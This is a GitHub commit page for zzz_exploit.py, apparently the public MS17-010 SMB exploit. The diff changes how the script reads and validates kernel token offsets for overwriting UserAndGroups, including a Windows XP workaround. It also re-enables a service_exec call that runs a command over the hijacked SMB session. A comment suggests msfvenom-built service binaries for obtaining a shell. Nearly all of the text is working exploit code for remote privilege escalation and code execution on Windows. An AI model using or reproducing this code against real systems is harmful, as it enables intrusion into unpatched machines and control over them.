Skip to content

Commit

Permalink
test restricted SID values instead of group count
Browse files Browse the repository at this point in the history
  • Loading branch information
zerosum0x0 committed Jan 30, 2018
1 parent 67b258e commit 8bd6f37
Showing 1 changed file with 53 additions and 16 deletions.
69 changes: 53 additions & 16 deletions zzz_exploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -867,21 +867,8 @@ def exploit(target, pipe_name):
# copy Token data for restoration
tokenData = read_data(conn, info, tokenAddr, 0x40*info['PTR_SIZE'])


userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
# hack to fix XP SP0 and SP1
if info['os'] == 'WINXP' and info['arch'] == 'x86':
if userAndGroupCount > 4 or userAndGroupCount == 0: # check NULL too
print("Bad TOKEN offsets detected, performing workaround")
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
userAndGroupsAddr = unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1'])[0]


print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))
# parse necessary data out of token
userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)

print('overwriting token UserAndGroups')
# modify UserAndGroups info
Expand Down Expand Up @@ -920,6 +907,55 @@ def exploit(target, pipe_name):
conn.get_socket().close()
return True

def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):

RestrictedSidCount = unpack_from('<I', tokenData, userAndGroupCountOffset + 4)[0] # + sizeof(ULONG) (always 4)
RestrictedSids = unpack_from('<'+info['PTR_FMT'], tokenData, userAndGroupsAddrOffset + info['PTR_SIZE'])[0] # + sizeof(void*) (4 or 8)

userAndGroupCount = unpack_from('<I', tokenData, userAndGroupCountOffset)[0]
userAndGroupsAddr = unpack_from('<'+info['PTR_FMT'], tokenData, userAndGroupsAddrOffset)[0]

success = True

# RestrictedSids and RestrictedSidCount MUST be 0
# Could also add a failure point here if userAndGroupCount >= x
if RestrictedSids != 0 or RestrictedSidCount != 0:
print('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
print('RestrictedSids: 0x{:x}'.format(RestrictedSids))
print('RestrictedSidCount: 0x{:x}'.format(RestrictedSidCount))
success = False

print('userAndGroupCount: 0x{:x}'.format(userAndGroupCount))
print('userAndGroupsAddr: 0x{:x}'.format(userAndGroupsAddr))

return success, userAndGroupCount, userAndGroupsAddr

def get_group_data_from_token(info, tokenData):
userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']

# try with default offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
print('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')

userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']

# try with hack offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)

# still no good. Abort because something is wrong
if not success:
print('Bad TOKEN_USER_GROUP offsets. Abort > BSOD')
sys.exit()

# token parsed and validated
return userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset

def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
Expand All @@ -931,7 +967,7 @@ def smb_pwn(conn, arch):
smbConn.disconnectTree(tid2)

#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
Expand Down Expand Up @@ -1008,3 +1044,4 @@ def service_exec(conn, cmd):

exploit(target, pipe_name)
print('Done')

0 comments on commit 8bd6f37

Please sign in to comment.